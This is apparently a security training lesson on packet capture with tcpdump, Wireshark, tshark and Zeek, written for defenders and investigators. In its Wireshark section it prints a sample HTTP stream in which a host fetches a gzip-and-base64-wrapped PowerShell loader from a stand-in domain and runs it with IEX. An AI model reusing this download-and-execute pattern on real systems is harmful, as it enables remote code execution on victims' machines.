Packet capture basics

Capturing and reading packets for investigations: tcpdump and BPF capture filters, Wireshark display filters, following streams and exporting objects, tshark for bulk extraction, Zeek for turning a pcap into logs, and the legal and practical limits of full capture.

FREEBy ·Lesson·11 min read·Beginner → Intermediate
pcapWiresharktcpdumpBPF filterstsharkZeek

01When packets beat logs

✓What you will learn
  • Capture with tcpdump and the right BPF filter, without filling the disk
  • Use Wireshark display filters, follow streams and export objects
  • Pull fields at scale with tshark and turn a pcap into Zeek logs
  • Know what encryption, storage and privacy law let you see and keep

Logs are summaries someone decided to write. A packet capture (pcap) is the traffic itself: every header and, unless encrypted, every byte of payload. You reach for it when the logs cannot answer the question: what exactly did the C2 server send, which file left in that upload, did the exploit payload reach the server.

SourceGives youCosts
Flow (NetFlow, IPFIX, VPC Flow Logs)5-tuple, bytes, packets, timesTiny; no content at all
Zeek / Suricata logsParsed protocol fields: DNS names, HTTP paths, TLS SNI and certificates, file hashesModerate; content summarised
Full pcapEverything on the wireLarge: a busy 1 Gbit/s link can produce several terabytes a day; usually kept hours to days
iEncryption limits what pcap shows

Most traffic is TLS. Without the keys you see the handshake (SNI, the certificate in TLS 1.2, the JA4 fingerprint), sizes and timing, not the content. In a lab, Wireshark can decrypt traffic if the client wrote its session keys to a file named by the SSLKEYLOGFILE environment variable; in production, content visibility needs a decrypting proxy.

02Capturing with tcpdump and BPF

tcpdump captures packets using a BPF capture filter, applied in the kernel, so unwanted packets are never copied. Capture filters use a different syntax from Wireshark display filters; mixing them up is the most common beginner error.

tcpdump: -nn no name resolution, -s 0 full packets, -G and -C rotate filesbash
# Capture traffic to and from one suspect host, full packets, into rotating files
sudo tcpdump -i eth0 -nn -s 0 -w /data/cap/ws0417-%Y%m%d%H%M.pcap -G 3600 -C 500 'host 10.20.8.31'

# Only DNS, or only SYN packets (connection attempts)
sudo tcpdump -i eth0 -nn 'udp port 53 or tcp port 53'
sudo tcpdump -i eth0 -nn 'tcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syn'

# Exclude your own SSH session so you do not capture yourself
sudo tcpdump -i eth0 -nn -w out.pcap 'not (tcp port 22 and host 10.20.0.5)'

# Read a capture back
tcpdump -nn -r out.pcap 'tcp port 80' | head
TaskBPF capture filter (tcpdump)Wireshark display filter
One hosthost 10.20.8.31ip.addr == 10.20.8.31
One portport 445tcp.port == 445
DNSport 53dns
HTTP requeststcp port 80http.request
SYN onlytcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syntcp.flags.syn == 1 && tcp.flags.ack == 0
TLS ClientHello to a namenot practical in BPFtls.handshake.extensions_server_name contains "badexample"
!Where you capture decides what you see

A capture on a laptop sees only that laptop. On a switch you need a SPAN (mirror) port or a network TAP. Captures taken outside a NAT gateway show the gateway's address, and captures on a busy link drop packets silently if the disk or CPU cannot keep up; tcpdump reports packets dropped by kernel when it exits.

03Reading a capture in Wireshark

Open the capture and orient before you filter. Statistics, Protocol Hierarchy shows what protocols are present. Statistics, Conversations shows who talked to whom and how much, sorted by bytes. Statistics, Endpoints lists every address. Then filter down to the conversation that matters.

  1. Filter on the suspect host and sort Conversations by bytes: the big outbound one is the first lead.
  2. Filter dns to see what names the host resolved and what came back.
  3. Right-click a TCP packet and choose Follow, TCP Stream to read the whole exchange as text (client in one colour, server in the other).
  4. Use File, Export Objects, HTTP (or SMB) to save files transferred in clear, then hash them without opening them.
  5. Set View, Time Display Format to UTC date and time before noting anything for the timeline.
Follow TCP Stream: the second stage, gzip and base64 wrappedtext
GET /a/ps.txt HTTP/1.1
Host: updates.badexample.org
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.4648
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/plain
Content-Length: 4096

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAA/6VWbW/aSBD+..."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

Following the stream gives you what no log had: the second-stage script itself. Decode it in an isolated environment (CyberChef's From Base64 then Gunzip recipe), never by running it. The decoded script will usually contain the next C2 address, which goes straight back into your DNS and proxy hunts.

Useful display filterFinds
http.request.method == "POST"Uploads and check-ins
dns.flags.rcode == 3NXDOMAIN responses (DGA candidates)
tcp.analysis.retransmissionNetwork problems that can explain gaps
frame contains "MZ" (rough)Possible Windows executables in clear text transfers
smb2.cmd == 5 && smb2.filename contains ".exe"SMB2 Create requests for executables (lateral tool transfer)

04tshark and Zeek for bulk work

Wireshark is for reading. For a multi-gigabyte capture, extract fields with tshark (Wireshark's command-line twin) or convert the whole capture to logs with Zeek and query those.

tshark field extraction and Zeek offline processingbash
# Every DNS query name and answer from a capture, as tab-separated fields
tshark -r case.pcap -Y 'dns.flags.response == 1' -T fields -e frame.time_epoch -e ip.dst -e dns.qry.name -e dns.a

# TLS server names the suspect host asked for
tshark -r case.pcap -Y 'ip.src == 10.20.8.31 && tls.handshake.type == 1' -T fields -e tls.handshake.extensions_server_name | sort | uniq -c | sort -rn

# Turn the capture into Zeek logs, then summarise connections by bytes sent
zeek -C -r case.pcap
zeek-cut id.orig_h id.resp_h id.resp_p orig_bytes < conn.log | sort -k4 -nr | head

Zeek writes conn.log, dns.log, http.log, ssl.log, files.log and more, linked by a connection uid. That turns a pcap into the same kind of data you query in the SIEM, which is why many teams keep Zeek logs for months and full pcap for only days. -C tells Zeek to ignore checksum errors, which are common in captures taken on the sending host because of checksum offload.

▭On the whiteboard · Pcap case notes4 points
01
provenance
Where and when captured, by whom, interface, filter, any drops reported
02
integrity
SHA-256 of each pcap file as received; work on copies
03
findings
Frame numbers and UTC times for every claim, so others can reproduce
04
artefacts
Exported objects with hashes; decoded scripts stored as text, never executed

05Legal, privacy and practical limits

Full packet capture records personal data and private communications. In the UK, interception on your own network for security is governed by the Investigatory Powers Act 2016 and the Investigatory Powers (Interception by Businesses etc. for Monitoring and Record-keeping Purposes) Regulations 2018, and the content is personal data under UK GDPR. Other jurisdictions have their own equivalents. In practice: capture under a written policy, as narrowly as the question allows, keep it for a defined period, and restrict who can read it.

  • Prefer a targeted capture (one host, one port, a few hours) to a blanket one when you are answering a specific question.
  • Record the chain of custody if the capture might be evidence: who captured it, hashes, where it was stored.
  • Never upload a production pcap to a public analysis site; it contains credentials, cookies and personal data.
Test yourself

You want only DNS traffic from host 10.20.8.31 while capturing with tcpdump. Which filter is correct?

“How to say it in the room

"I use flow and Zeek logs to find the conversation, then pcap to read it. I capture narrowly with a BPF filter, hash the file, orient with Conversations and Protocol Hierarchy, follow the stream, export objects to hash rather than open, and note frame numbers and UTC times for every finding."

◎Interview radar

Common screen questions: the difference between capture and display filters, how you would find the largest outbound conversation in a pcap, and what you can learn from TLS traffic without decrypting it (SNI, the certificate in TLS 1.2, JA4, sizes, timing).

Q1What is a TAP and why prefer it to a SPAN port?+

A TAP copies traffic passively in hardware and does not drop packets under load; a SPAN port is a switch feature that can drop mirrored traffic when oversubscribed and may omit errors.

Q2How do you find beacons in a pcap?+

Load it into Zeek, then look at conn.log for one source to one destination with regular intervals and similar sizes, or use Wireshark's IO Graph filtered to that destination.

Q3Can you see HTTP/2 or QUIC in Wireshark?+

Yes, Wireshark dissects both, but QUIC is encrypted including most headers, so without keys you see little beyond the initial handshake fields and timing.

Finished this one?
Tick it and it shows as done on the roadmap and the course.